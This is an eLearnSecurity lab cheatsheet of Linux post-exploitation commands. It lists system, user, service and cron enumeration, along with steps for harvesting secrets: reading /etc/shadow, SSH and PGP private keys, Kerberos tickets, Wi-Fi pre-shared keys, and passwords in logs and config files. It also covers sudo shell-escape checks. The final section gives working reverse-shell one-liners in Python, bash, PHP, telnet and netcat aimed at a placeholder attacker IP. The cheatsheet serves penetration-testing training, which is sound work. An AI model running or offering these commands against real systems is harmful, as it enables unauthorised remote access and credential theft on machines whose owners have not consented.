



**eLearnSecurity**  
Forging security professionals

## LINUX EXPLOITATION

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### Post-Exploitation Commands Cheatsheet

LAB



# 1. SYSTEM / NETWORK INFORMATION COMMANDS

## Hostname

```
hostname
```

```
hostname -f
```

## Known hostnames/IP Addresses

```
cat /etc/hosts
```

## Kernel Version / Architecture

```
uname -a
```

```
cat /proc/version
```

## Operating System

```
cat /etc/issue
```

```
cat /etc/*-release
```

## List Open Files

```
lsof
```

## IP Interfaces Information

```
ifconfig
```

```
ip addr show
```

## Routing Information

```
route -n
```

```
ip ro show
```



## Current TCP and UDP Network Connections

```
netstat -auntp  
watch ss -twurp
```

## Print IPSEC VPN Keys (requires root)

```
ip xfrm state list
```

## Iptables Rules (requires root)

```
iptables -L -n
```

## ARP Table

```
arp -a
```

## DNS Server Information

```
cat /etc/resolv.conf
```

## Running Processes

```
ps auxw  
ps -ef
```

## Mounted File Systems

```
df -h  
mount
```

## Loaded Kernel Modules

```
lsmod
```



## Loaded PCI Devices

```
lspci
```

## Loaded USB Devices

```
lsusb
```

## CPU Information

```
cat /proc/cpuinfo
```

## Memory

```
cat /proc/meminfo
```

## Hardware Information

```
lshw
```

## Kernel Messages (With Timestamp)

```
dmesg -T
```



## 2. USER INFORMATION

### Last logged on Users

```
last -a
```

### Currently Logged on Users

```
who
```

```
w
```

### Current User / UID-GID / Home Directory

```
whoami
```

```
id
```

```
grep $USER /etc/passwd
```

```
grep $USER /etc/passwd | cut -f6 -d":"
```

### User and Service Accounts

```
cat /etc/passwd
```

### Groups

```
cat /etc/group
```

### All Users (UID and GID information)

```
for user in $(cat /etc/passwd | cut -f1 -d":"); do id $user; done
```

### All UID 0 Accounts (root)

```
cat /etc/passwd | cut -f1,3,4 -d":" | grep "0:0" | cut -f1 -d":" | awk '{print $1}'
```



### Find Files with "history" In Their Name (.bash\_history, etc.)

```
find /* -name *.history* -print 2> /dev/null
```

### Find Files Owned By A Particular User

```
find / -user $user
```

Ex: find / -user www-data

### Find Files Owned By A Particular Group

```
find / -group $group
```

Ex: find / -group sudo

### Find File Types Owned by a Particular User

```
find / -user admin -name "*.sh"
```

## 3. PRIVILEGED ACCESS / CLEARTEXT PASSWORDS

### Find all setuid (SUID) Executables

```
find / -perm -4000 -type f 2>/dev/null
```

### Read /etc/sudoers

```
cat /etc/sudoers
```

### Read /etc/shadow

```
cat /etc/shadow
```



## Find world-writeable files

```
find / -perm -0002 -type d 2>/dev/null
```

## Check current users' sudo access

```
sudo -l
```

## Check for binaries in current users' sudo entry that allow breaking out into a shell

```
sudo -l |grep vi  
sudo -l |grep nmap  
sudo -l |grep python  
sudo -l |grep irb
```

## Check permissions for files /root directory

```
ls -als /root/*
```

## Check permissions of root's .bashrc and other dot files/directories

```
ls -als /root/.*
```

## Check for access to users' .ssh directories

```
ls -als /home/*/.ssh
```

## Check readability of apache/nginx access log

```
cat /var/log/apache/access.log  
cat /var/log/apache2/access.log  
cat /var/log/nginx/access.log
```

## Search for "user" and "pass" string in Apache Access Log

```
cat /var/log/apache/access.log |grep -E "^user|^pass"
```



### Dump Wireless Pre-Shared Keys from NetworkManager Configuration

```
cat /etc/NetworkManager/system-connections/* |grep -E "^id|^psk"
```

### Search for "password" string in conf files

```
grep "password" /etc/*.conf 2> /dev/null
```

### PGP Keys

```
cat /home/*/.gnupg/secrings.gpgs
```

### SSH Keys

```
cat /home/*/.ssh/id*
```

### Show any LDAP, Local or NIS Accounts

```
getent passwd
```

### Dump Samba user Database Information

```
pdbedit -L -w  
pdbedit -L -v
```

### Kerberos Tickets

```
cat /tmp/krb*
```

### Search for files of .txt extension with "password" in their name

```
find / -name password*.txt 2> /dev/null
```

## 4. SERVICES / CONFIGURATION FILES





## List Running Services / Processes / Users

```
ps auxw
```

## List Inetd Services

```
ls -al /etc/init.d/
```

## List xinetd Services

```
ls -al /etc/xinetd.d/
```

## Contents of Xinetd services

```
cat /etc/xinetd.d/*
```

## Find services in /etc/init.d not owned by root and list their permissions

```
find /etc/init.d/ ! -uid 0 -type f 2>/dev/null |xargs ls -la
```

## List Running Services (Debian/CentOS/Redhat/Ubuntu)

```
service --status-all
```

## Print the status of a service

```
service nginx status
```

## List Known Services (SysV)

```
chkconfig --list
```

## Print the status of a service (Debian/CentOS)

```
service nginx status
```



## Print status of all services (Debian/CentOS)

```
service --status-all
```

## List all Systemd services (Debian/CentOS/Redhat)

```
systemctl list-unit-files
```

## Syslog Configuration

```
cat /etc/syslog.conf
```

## Samba Configuration

```
cat /etc/samba/smb.conf
```

## MySQL Configuration

```
cat /etc/mysql/my.cnf
```

## OpenLDAP Configuration

```
cat /etc/openldap/ldap.conf
```

## NFS Exports

```
cat /etc/exports
```

## Inetd Configuration

```
cat /etc/inetd.conf
```

## Rsyslog Configuration

```
cat /etc/rsyslog.conf
```

```
cat /etc/rsyslog.d/*
```



## Apache2 Configuration

```
cat /etc/apache2/apache2.conf
```

## Httpd configuration

```
cat /etc/httpd.conf
```

## Find all .conf Files

```
find / -name *.conf 2> /dev/null
```

# 5. JOBS AND TASKS

## List Cron Jobs

```
cat /etc/crontab  
ls -al /etc/cron*
```

## Find World-Writable Cron jobs

```
find /etc/cron* -type f -perm -o+w -exec ls -l {} \;
```

## Find Cron Jobs Owned by Other Users

```
find /etc/cron* -user $user  
Ex: find /etc/cron* -user admin
```



## 6. INSTALLED SOFTWARE VERSION INFORMATION

### Get MySQL Version

```
mysql -version
```

### Get sudo Version

```
sudo -V |grep "Sudo version"
```

### Get Apache2 Version

```
apache2 -v
```

### Get CouchDB Version

```
couchdb -V
```

### Get Postgres Version

```
psql -V
```

### List All Packages Installed and Versions (Debian/CentOS/Ubuntu)

```
dpkg -l
```

### List All Packages Installed and Versions (RedHat)

```
rpm -query -all
```

### List Installed Packages (Solaris)

```
pkginfo
```



# 7. REVERSE SHELLS

## Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect("<attacker_IP>",<attacker_PORT>);os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

## bash

```
bash -i >& /dev/tcp/<attacker_IP>/<attacker_PORT> 0>&1
```

## php

```
php -r '$sock=fsockopen("<attacker_IP>",<attacker_PORT>); exec("/bin/sh -I
<&3 >&3 2>&3");'
```

## telnet

```
telnet <attacker_IP> 4444 | /bin/bash | telnet <attacker_IP> 4445
```

## netcat

```
nc <attacker_IP> <attacker_PORT> -e /bin/sh
```

## netcat w/o "-e" option

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -I 2>&1 | nc <attacker_IP>
<attacker_PORT> > /tmp/f
```

